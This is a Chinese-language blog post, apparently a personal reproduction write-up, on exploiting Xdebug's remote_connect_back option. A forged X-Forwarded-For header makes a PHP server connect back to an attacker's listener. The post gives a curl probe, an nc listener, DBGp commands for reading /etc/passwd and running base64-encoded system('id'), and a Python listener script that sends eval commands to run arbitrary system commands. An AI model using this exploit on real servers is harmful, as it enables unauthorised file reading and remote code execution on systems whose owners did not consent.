偶然看到一篇关于利用xdeubg执行命令的文章,觉得挺有意思的,简单复现一下利用过程,做一个记录,原理性的东西就不多讲了
xdebug是调试php代码的工具,遵循DBGp协议。其工作原理大概如下(搬运):
IDE(如phpstorm)已经集成了一个遵循DBGp的Xdebug插件,当开启它的时候,会在本地开一个xdebug调试服务,监听在调试所设置的端口上,默认是9000,这个服务会监听所有到9000端口的连接。在phpstorm中,位于:工具栏>run>Start / Stop Listening for PHP Xdebug Connetions
当浏览器发送一个带XDEBUG_SESSION_START的参数的请求到服务器时,服务器接手后将其转到后端的php处理,如果php开启了xdebug模块,则会将debug信息转发到客户端IP的IDE的调试端口上。
另外,xdebug是需要不是伴随着php的,要使用他,需要我们自行安装,可费劲er了。当然我们可以直接到docker hub上找现成的环境。
安装完xdebug你以为就结束了吗,没有!我们还需要对xdeubg进行配置,网上大多数的教程都是说在php.ini里配置,但是我使用的这个docker环境,xdebug是有一个单独的配置文件的,我就直接在这里面配置了(其实docker环境已经配置的差不多了,我只是按需修改了一下)
我的配置文件如下:
zend_extension=xdebug.so
xdebug.idekey="PHPSTORM"
xdebug.remote_enable=1
xdebug.remote_autostart=0
xdebug.remote_connect_back=1
xdebug.remote_port=9000
几个常见配置解释
设置调试工具
xdebug.idekey="PHPSTORM"
绑定远程调试主机地址
xdebug.remote_host=localhost
远程主机监听的端口
xdebug.remote_port=9000
开启回连
xdebug.remote_connect_back = 1
开启xdebug
xdebug.remote_enable = 1
经过上面的描述,你应该大概了解到其实php的调试是通过客户端、服务端经过DBGp协议通信来协调实现的,这也是为什么php支持远程调试的原因,既然可以远程通信,肯定是需要知道对方的地址的,而xdebug又有两种方式来确定ide的地址,一种是固定ip的方式,另一种就是非固定ip的方式
固定ip方式就是直接在配置xdeubg配置文件或者php.ini里写死IDE的公网地址,这样我们是不能利用的。配置里会有类似下面这两项:
xdebug.remote_host=localhost
xdebug.remote_port=9000
另一种方式就是自动回连到请求地址,配置会出现下面这一项:
xdebug.remote_connect_back = 1
而自动回连的ip地址是来自下面这几处:
xdebug.remote_addr_header
X-Forwarded-For
Remote-Addr
我们知道xff头是可以控制的,所以就算配置了其他的两个,也没有关系,照样可以连接到我指定的ip地址上,这不就出大问题了吗
xdebug.remote_connect_back = 1 //开启回连 并且此选项开启时,xdebug会忽略xdebug.remote_host
直接把客户端ip当作回连ip,也就是谁访问它,谁就是回连ip
xdebug.remote_enable = 1 //开启xdebug
xdebug.remote_log = /tmp/test.log
source -i transaction_id -f fileURI
transactionid 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 openbasedir。
利用方式
source -i 1 -f file:///etc/passwd
还可以利用php://filter ssrf等
脚本里面要这样写
conn.sendall('source -i 1 -f %s\x00' % data)
eval -i transaction_id -- {DATA}
{DATA} 为 base64 过的 PHP 代码。利用方式(c3lzdGVtKCJpZCIpOw== == system(“id”);):
eval -i 1 – c3lzdGVtKCJpZCIpOw==
脚本里面要这样写
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
还有一些其他协议可用,这里就不一一搬运了,2333333
前置知识差不多了,那么要如何利用呢,首先我们发送如下请求,探测目标是否开启了xdeubg并支持回连
curl http://localhost:8123/joomla346/index.php?XDEBUG_SESSION_START=123 -H "X-Forwarded-For:172.17.0.1"
其中xff在真实环境下应该设置为你的公网ip,你公网vps需要监听9000端口(默认是9000端口,目标服务器的xdebug也可能回连其他端口吧~)
nc -lvvp 9000
如果vps收到如下请求,则表示问题存在
import socket
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
while True:
client_data =conn.recv(1024)
print(client_data)
data =raw_input('>> ')
conn.sendall('eval-i 1 -- %s\x00' % data.encode('base64'))
上面这个脚本就是利用eval命令执行php代码,我们可以通过输入system(命令)
的方式执行系统命令
https://blog.spoock.com/2017/09/19/xdebug-attack-surface/